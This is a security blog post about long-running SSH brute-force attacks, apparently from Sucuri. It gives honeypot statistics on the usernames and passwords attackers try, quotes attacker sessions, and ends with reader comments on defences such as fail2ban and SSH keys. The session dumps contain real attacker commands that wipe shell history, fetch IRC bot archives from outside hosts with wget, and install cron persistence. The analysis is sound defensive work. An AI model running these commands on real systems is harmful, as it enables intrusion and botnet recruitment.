SSH Brute Force – The 10 Year Old Attack That Still Persists

One of the first server-level compromises I had to deal with in my life was around 12 ago, and it was caused by a SSH brute force attack. A co-worker set up a test server and chose a very weak root password for it. A few days later, the box was owned running IRC bots and trying to compromise the rest of the network.

That was just the first of many server-level compromises caused by SSH brute force attacks that I would end up responding to, and even after more than 10 years, quite a few of the server remediations that we do here at Sucuri are actually caused by the same thing.

Attackers just need 1 user with a weak password to get in. It doesn’t need to be root, since they can find many ways around that to increase their privileges. Even with the latest round of Apache module injections (Darkleech/CDORK) we suspect that one of the ways they get into the servers is by stolen passwords.

Because SSH brute force attaacks are so popular, we have been tracking them for a long time. And by a long time, we really mean it. Just in blog posts, We wrote a blog post in 2010 and even one in 2006 before Sucuri was even born. We have had honeypots running just as long watching and learning from these attacks.

Our Honeypots

We track these attacks via our high interaction honeypots. We get a clean server and install a modified SSHD version that logs all login attempts (including passwords) and stores all sessions. Once it gets hacked we can see all that was done along with the passwords attempted.

The attacks from 10 years ago are still very similar from the ones we see now, with one difference. 10 years ago it would take weeks after putting a server live for it to start being scanned. Right now and for the last couple of years, if we put a new server live, within hours, it starts to be scanned.

Last 7 days of scans – Analysis

By just going back 7 days and looking at our logs, we can see 15,000 attacks against it. The top username is still root (with more than 50% of the scans):

#attempts #username
   9012  root (58%)
    179  test (1%)
    116  oracle (< 1%)
     87  admin
     82  info
     70  user
     69  postgres
     68  mysql
     68  backup
     55  guest
     49  web
     49  tomcat
     46  michael
     45  r00t
     43  upload
     42  alex
     41  sales
     40  linux
     39  bin
     38  ftp
     35  support
     34  temp
     33  nagios
     31  user1
     30  www
     30  test1
     30  nobody

The top passwords are still very similar to what we reported a few years ago:

    365  123456 (2%)
    201  password (1%)
    114  12345 (<1%)
    105  1234
     92  root
     92  123
     84  qwerty
     76  test
     75  1q2w3e4r
     72  1qaz2wsx
     66  qazwsx
     65  123qwe
     58  12
     55  123qaz
     55  0000
     52  oracle
     50  1234567
     47  123456qwerty
     45  password123
     44  12345678
     41  1q2w3e
     40  abc123
     38  okmnji
     34  test123
     32  123456789
     31  postgres
     30  q1w2e3r4
     28  redhat
     27  user
     26  mysql
     24  apache

The full list is here if you are curious of the combinations they try. If you are using a password that is in there, please change it ASAP.

What they do after they get in

This is a very common question. What do the attackers do they after they find a password that works and get in?

  1. Nothing much! Well, at least not for a few days. They just get in and then get out.
  2. After a few days, they log in and change the password to a more secure one. So nobody else can "steal" what is theirs now. This is the session dump:
  3. Last login: Wed Jul 10 23:05:35 2013 from otherserver.de
    oracle@HONEYPOT:~]$
    oracle@HONEYPOT ~]$ passwd
    Changing password for user oracle.
    Changing password for oracle.
    (current) UNIX password: 
    New password: 
    Retype new password: 
    passwd: all authentication tokens updated successfully.
    oracle@HONEYPOT:~]$ logout
    

    Note that HONEYPOT is not what the attackers really see. They see fake hostname with a fake site on the server. In this case, they guessed the "oracle" user password.

  4. Once they are in and the password is changed, they will try to increase their privileges to root. This is what they did when they got in as "oracle":
    [oracle@HONEYPOT ~]$ w
     23:46:08 up 4 days,  4:58,  1 user,  load average: 0.00, 0.01, 0.05
    USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
    oracle   pts/1    111.90.151.149   23:45    0.00s  0.02s  0.00s w
    
    [oracle@HONEYPOT ~]$ ls -all
    total 20
    drwx------ 2 oracle oracle 4096 Jul  8 14:50 
    -rw-r--r-- 1 oracle oracle   18 Dec  2  2011 .bash_logout
    -rw-r--r-- 1 oracle oracle  176 Dec  2  2011 .bash_profile
    -rw-r--r-- 1 oracle oracle  124 Dec  2  2011 .bashrc
    [oracle@HONEYPOT ~]$ su 
    sudo su
    We trust you have received the usual lecture from the local System
    Administrator. It usually boils down to these three things:
        #1) Respect the privacy of others.
        #2) Think before you type.
        #3) With great power comes great responsibility.
    [sudo] password for oracle: 
    oracle is not in the sudoers file.  This incident will be reported.
    oracle@HONEYPOT:~
    [oracle@HONEYPOT ~]$ su
    Password: 
    su: incorrect password
    [oracle@HONEYPOT ~]$ cd /tmp
    [oracle@HONEYPOT tmp]$ mkdir ' '
    [oracle@HONEYPOT:/tmp
    [oracle@HONEYPOT tmp]$ cd ' '
    [oracle@HONEYPOT:/tmp/ 
    [oracle@HONEYPOT  ]$ wget ftp://dmitri:123123@200.63.46.99/mech.tgz
    --2013-07-09 23:48:01--  ftp://dmitri:*password*@200.63.46.99/mech.tgz
    ..
    Logging in as dmitri ... 
    Connecting to 200.63.46.99:21... connected.
    Logging in as dmitri ... Logged in!
    ==> SYST ... done.    ==> PWD ... done.
    ==> TYPE I ... done.  ==> CWD not needed.
    ==> SIZE mech.tgz ... 374664
    ==> PASV ... done.    ==> RETR mech.tgz ... done.
        [<=>                                    ] 0           --.-K/s              
    
    [oracle@HONEYPOT  ]$ tar xzvf mech.tgz 
    webmail/
    ..
    webmail/run
    [oracle@HONEYPOT  ]$ cd webmail/
    [oracle@HONEYPOT webmail]$ ./start sunacai
    ######Multi Emech on Undernet######
    #####      bil TheDemon       #####
    %%%%%%%% 
     Undernet !!!    %%%%%%
    Am gasit 1 ip-uri
    SERVER Montreal.QC.CA.Undernet.org 7000
    
    [oracle@HONEYPOT webmail]$ w
     23:49:27 up 4 days,  5:02,  1 user,  load average: 0.07, 0.03, 0.05
    USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
    oracle   pts/1    111.90.151.149   23:45    7.00s  0.05s  0.00s w
    [oracle@HONEYPOT webmail]$ logout
    

    You can see they tried to "su" (become root) and then launched an IRC bot, the same as 10 years ago. This is another example when they compromised the user "guest":

    Last login: Fri Jul 12 20:21:45 2013 from 223.4.147.8
    [?1034h[guest@HONEYPOT ~]$ unset HISTFILE
    [guest@HONEYPOT ~]$ unset HISTSAVE
    [guest@HONEYPOT ~]$ w
     15:45:40 up 7 days, 20:58,  1 user,  load average: 0.00, 0.01, 0.05
    USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
    guest    pts/1    82.137.10.219    15:45    4.00s  0.02s  0.00s w
    [guest@HONEYPOT ~]$ passwd
    Changing password for user guest.
    Changing password for guest.
    (current) UNIX password: 
    New password: 
    Retype new password: 
    passwd: all authentication tokens updated successfully.
    [guest@HONEYPOT ~]$ uname -a
    Linux HONEYPOT REMOVED..
    [guest@HONEYPOT ~]$ sudo su
    We trust you have received the usual lecture from the local System
    Administrator. It usually boils down to these three things:
        #1) Respect the privacy of others.
        #2) Think before you type.
        #3) With great power comes great responsibility.
    [sudo] password for guest: 
    guest is not in the sudoers file.  This incident will be reported.
    
    
    [guest@HONEYPOT ~]$ mkdir " "
    [guest@HONEYPOT ~]$ cd " "
    [guest@HONEYPOT  ]$ wget eduteam.orgfree.com/mech.gz;tar zxvf mech.gz;rm -rf me
    ch.gz;cd .bot
    
    * * * * * /home/guest/ /.bot/update >/dev/null 2>&1
    ./run: ./crond: /lib/ld-linux.so.2: bad ELF interpreter: No such file or directory
    [guest@HONEYPOT .bot]$ cd .
    [guest@HONEYPOT .bot]$ cd ..
    [guest@HONEYPOT  ]$ rm -rf bot
    [guest@HONEYPOT  ]$ rm -rf .bot
    [guest@HONEYPOT  ]$ wget eduteam.orgfree.com/64mcc.tgz;tar zxvf 64mcc.tgz;rm -r
    f 64mcc.tgz;cd 64mcc
    --2013-07-14 09:48:11--  http://eduteam.orgfree.com/64mcc.tgz
    Resolving eduteam.orgfree.com... 78.47.28.69
    Connecting to eduteam.orgfree.com|78.47.28.69|:80... connected.
    HTTP request sent, awaiting response... 200 OK
    ..
    
    [guest@HONEYPOT 64mcc]$ ./start horo
    =====>Tase<=====
    ++++++ *Asta e o arhiva privata*  ++++++++
    Am gasit 1 ip-uri
    Gata
    * * * * * /home/guest/ /64mcc/update >/dev/null 2>&1
    EnergyMech 2.8.5, December 30th, 2002
    Compiled on Dec 30 2002 10:21:24
    Features: LNK, TEL, PIP, DYN, NEW, ALS, WIN, SEF
    init: Mech(s) added [ maurice ]
    init: EnergyMech running...
    

    They unset their history file so bash_history doesn't show anything, tried to get root by using sudo/su and when it failed, they downloaded an IRC bot and left. This is pretty much the first steps they take. They are often patient and will come back many times and try to use exploits to get root.

      Conclusion

      SSH Brute force attacks are here to stay. As long as people use weak passwords, the bad guys will be trying to brute force them. Not only for SSH, but we often see brute forces via FTP or to admin panels (Plesk, WordPress, Joomla, cPanel, etc).

      As for protecting your self against these, the first option is to use SSH keys (and disable password authentication). If you can't do that for whatever reason, make sure to use strong and good passwords. We also recommend whitelisting which IP addresses can login to the server and block everyone else out. For a reactive measure, we recommend using OSSEC (open source IDS) to block those attacks if you can't use white listing.

Scan your website for free:
About Daniel Cid

Daniel B. Cid is the Founder & CTO of Sucuri and also the founder of the open source OSSEC HIDS. His interests range from intrusion detection, log analysis (log-based intrusion detection), web-based malware research and secure development.

You can find more about Daniel at his site dcid.me or on Twitter: @danielcid

  • http://wpforce.com/ Jonathan Dingman

    Given that high percentage of attacks on root as the username, that’s exactly the reason I disable root SSH login from the get-go. I enable any user that I think needs root access, to su – into root and that alone helps defeat some of the brute force attacks.

    • Daniel Cid

      That’s a good idea as well. And the attackers need to guess the right user name in addition to the password.

    • http://dashaman.com dashaman

      @dingman:disqus, I agree. And using a very hard username that makes no sense dictionary wise would also add time to the guessing.

      @df3ec5506ba59d2ed3b951b7057e97d0:disqus Great Article btw. It is good to know that somethings never change.

  • Carlos

    I’d very much rather recommend installing an active-response system like OSSEC or Fail2ban than just blocking SSH access or block all other hosts. With a decent random password and a run-of-the-mill ban time it would take literally millions of years to brute-force your way in, so no concerns there…

  • soawesomejohn

    Another reactive measure is to use fail2ban. After a configurable amount of failed password attempts (or other dubious log entries) from an IP, that IP can be banned for a configurable amount of time. It works with almost any log and has a lot of preset rules for common programs (ssh, apache, postfix..) and you can setup your own custom rules as well.

    fail2ban:

    • HotDang

      How do you use fail2ban? I installed it once and it locked me out. I had to physically go to the machine and remove it.

      • soawesomejohn

        I didn’t have that issue and I’m pretty much running defaults that came with the installation. You can whitelist your ip (range) in /etc/fail2ban/jail.conf. Perhaps review this file and set the bantime to something short and set it up to email you on activity.

        http://www.fail2ban.org/wiki/index.php/Whitelist

        Here is my “default” settings, which bans for 10 minutes after 3 failed attempts.

        # “ignoreip” can be an IP address, a CIDR mask or a DNS host
        ignoreip = 127.0.0.1/8 10.10.0.100
        bantime = 600
        maxretry = 3

        My ssh session overrides this by allowing 6 retries.

        [ssh]
        enabled = true
        port = ssh
        filter = sshd
        logpath = /var/log/auth.log
        maxretry = 6

      • http://spenserj.com/ Spenser Jones

        You probably forgot to whitelist your own IP. By default, it will monitor the SSH logs, and ban anyone who fails more than 6 times in a short period for ten minutes. I wrote a mini-post on Securing a Linux Server with Fail2ban and IPTables this weekend that may help you out.

      • Daniel Serodio

        Add a “safe” IP to the ignoreip setting and you won’t be locked out.

  • Bob Corsaro

    Also, white list what users are allowed to SSH.

    • mark

      or blacklist, I generally disable root login..

  • http://ansimionescu.com/ Andrei Simionescu

    I first thought the attackers were Romanian, than I realized I’m on “sucuri” dot net. :) Nicely written article, kudos

    • Daniel Cid

      Why is that?

      • http://ansimionescu.com/ Andrei Simionescu

        The “Am gasit 1 ip-uri” bit :)

  • egdk

    The most effective against these brute force attacks for me was to change the port SSH runs on, at first I was getting at least 20 attempts per hour on my vps (even with fail2ban). Now I get 0, haven’t had any in at least 6 months.
    I also get why they won’t be scanning other ports for possible ssh connections, because the system administrators that have enough knowledge to change the port have a much higher chance of also not having a password like 123456 for root.

    • nemagee

      Definitely agree. If I run denyhosts on regular boxes running on port 22, I’ll get several messages a day from blocked IPs. After switching to some obscure port in the 50000 range, I have gotten none.

      Nevertheless I’ve still had client integration projects that required us to use port 22 (to integrate with legacy or automated systems) so in that case we try to force the use of keys.

  • Bruce Manning

    I had one of my Server 2003 boxes hacked via brute force recently – very weak password set on on of the terminal services users. Countered with changing the RDP port number and buying/installing Syspeace (which logs failed logons then bans IP addresses).

  • http://blog.collab.net/ Jack Repenning

    That list of (presumably often-successful) passwords just makes me cry. We’ve been preaching password strength for 20 years or more–the entire professional lifetime of most of those user-administrators!

  • Tom

    Can’t see any good reason not to be forcing keys for any internet-facing machine. Any “reason” given is likely to last just up to the first time you’re hacked.

  • historypeats

    Relying on passwords/passprahses is poor choice nowadays. Passwords only compliment 1 of the 3 factors for securely accessing a system: Something you know (passwords), something you have (RSA keyfob, cell phone, etc.), something you are (biometrics. Fingerprint scanner, retina scanner, etc.)

    SSH servers should be using two-factor authentication. Having a password to get through the first stage, then typing in a keycode generated by your RSA keyfob or cellphone. Two companies who implement two-factor auth are Duo Security and Google. Their APIs are easy to use and can be used for multiple services: RDP (remote desktop), Local access, FTP, VNC, etc.

    I don’t want to have to have to wait to have my post reviewed for posting links, so I’ll let you guys google it :)

    Note: You can use SSH Keys + two-factor auth.

  • alexie

    Can you tell more about how to get and install this high interaction honeypot.

  • Dan Dart

    fail2ban :D

  • Mihir Joshi

    Agree but can’t we use Google Authenticator, an added layer of security?

    This will not only lock down 3 failed password attempts but MIM attacks too + authentication code.

    http://ustechnica.com/category/security/two-step-authentication/

    this is done at ssh level where by passing some IP address which are internal where as for other servers they need to have authentication code.

  • Rodrigo Abreu

    I have two SSH services on my network, running on different ports (22 and 2200). I’ve been watching the logs for a while and I can say that SSH/22 is the most attacked for being an easy target.

  • Adrien

    Excuse me for such a noob question,
    but what about the users that were created automatically by the system ? For example `www-data’ or `nobody’ ? I don’t know their passwords myself. Are they strong ?
    Thanks for your nice article